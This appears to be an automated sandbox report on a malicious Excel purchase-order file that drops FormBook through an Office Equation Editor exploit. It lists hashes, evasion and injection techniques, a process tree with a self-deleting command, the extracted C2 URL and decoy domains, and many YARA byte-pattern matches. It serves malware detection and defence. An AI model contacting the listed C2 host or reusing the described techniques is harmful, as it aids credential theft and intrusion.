Edit tour

Windows Analysis Report
BON DE COMMANDE POUR CHENOUFI AEK.xlsx

Overview

General Information

Sample Name:	BON DE COMMANDE POUR CHENOUFI AEK.xlsx
Analysis ID:	626175
MD5:	981661fb35d158853f012f21aadd7b92
SHA1:	2ce93cbf7651c472a598b8756f5301275d95e27f
SHA256:	3084b6d063c6ec61503e90e6f2c61830ec915593fed9ddc719f67bc1ec24b49a
Tags:	VelvetSweatshopxlsx
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Shellcode detected

Office equation editor drops PE file

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Office equation editor establishes network connection

Drops PE files to the user root directory

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Downloads executable code via HTTP

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Potential document exploit detected (unknown TCP traffic)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Contains functionality to download and execute PE files

Office Equation Editor has been started

Contains functionality to download and launch executables

Checks if the current process is being debugged

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2644 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 900 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2520 cmdline: "C:\Users\Public\vbc.exe" MD5: 5AF1C7DD89A535DEE51C3E28B4A74F8D)

bmexo.exe (PID: 1224 cmdline: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya MD5: FD42CBBC6D53AD34694C46731AABD852)

bmexo.exe (PID: 1820 cmdline: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya MD5: FD42CBBC6D53AD34694C46731AABD852)

explorer.exe (PID: 1860 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

chkdsk.exe (PID: 792 cmdline: C:\Windows\SysWOW64\chkdsk.exe MD5: A01E18A156825557A24A643A2547AA8C)

cmd.exe (PID: 2972 cmdline: /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.freerenoadvice.com/ud5f/"], "decoy": ["makcoll.com", "mitrachocloud.com", "finikilspase.site", "vertriebmitherz.gmbh", "terapiasdelsinuips.com", "schoolmink.online", "slotgacor588.xyz", "zkf-lawyer.com", "daskocleaning.com", "baoxin-design.com", "hollywoodcuts.net", "animefnix.com", "trinityhomesolutionsok.com", "cfrhsw.xyz", "articrowd.com", "jlivingfurniture.com", "marmolsystem.com", "nudehack.com", "beam-birds.com", "cravensoft.com", "bjyunjian.com", "naturelleclub.com", "reece-family.net", "morarmail.com", "morgantownpet.supply", "recordanalytics.com", "factheat.online", "mcgillinvestigation.com", "tinyhouse.contact", "gpbrasilia.com", "jacobsclub.com", "theboemia.net", "balifoodfun.com", "alfonshotel.com", "spaceokara.com", "paraphras.com", "ruibaituobj.com", "rwbbrwe1.com", "turkishrepublik.com", "costumeshop.xyz", "minatexacess.com", "hathor-network.net", "02d1qp.xyz", "dadagrin.com", "lfsijin.com", "bupabii.site", "mydiga-angststoerung.com", "hayatseventeknoloji.com", "adv-cleaner.site", "ndsnus.com", "rebeccabarclaylpc.com", "eswpu.com", "babbleboat.com", "zvmsovsg.com", "quantumlab5.com", "venerems.com", "sh09.fyi", "maxpilesclinic.com", "luigilucioni.com", "yuttie.store", "tripnii.com", "topings33.com", "madetopraisehim.com", "tesladoge.info"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8809:$sqlite3step: 68 34 1C 7B E1 0x891c:$sqlite3step: 68 34 1C 7B E1 0x8838:$sqlite3text: 68 38 2A 90 C5 0x895d:$sqlite3text: 68 38 2A 90 C5 0x884b:$sqlite3blob: 68 53 D8 7F 8C 0x8973:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8809:$sqlite3step: 68 34 1C 7B E1 0x891c:$sqlite3step: 68 34 1C 7B E1 0x8838:$sqlite3text: 68 38 2A 90 C5 0x895d:$sqlite3text: 68 38 2A 90 C5 0x884b:$sqlite3blob: 68 53 D8 7F 8C 0x8973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.bmexo.exe.400000.7.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.bmexo.exe.400000.7.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.7.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.7.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.bmexo.exe.400000.7.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.bmexo.exe.400000.7.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
5.2.bmexo.exe.170000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.bmexo.exe.170000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.bmexo.exe.170000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.2.bmexo.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.bmexo.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7e08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x81a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15545:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8bba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1426c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bc8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.bmexo.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.0.bmexo.exe.400000.9.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
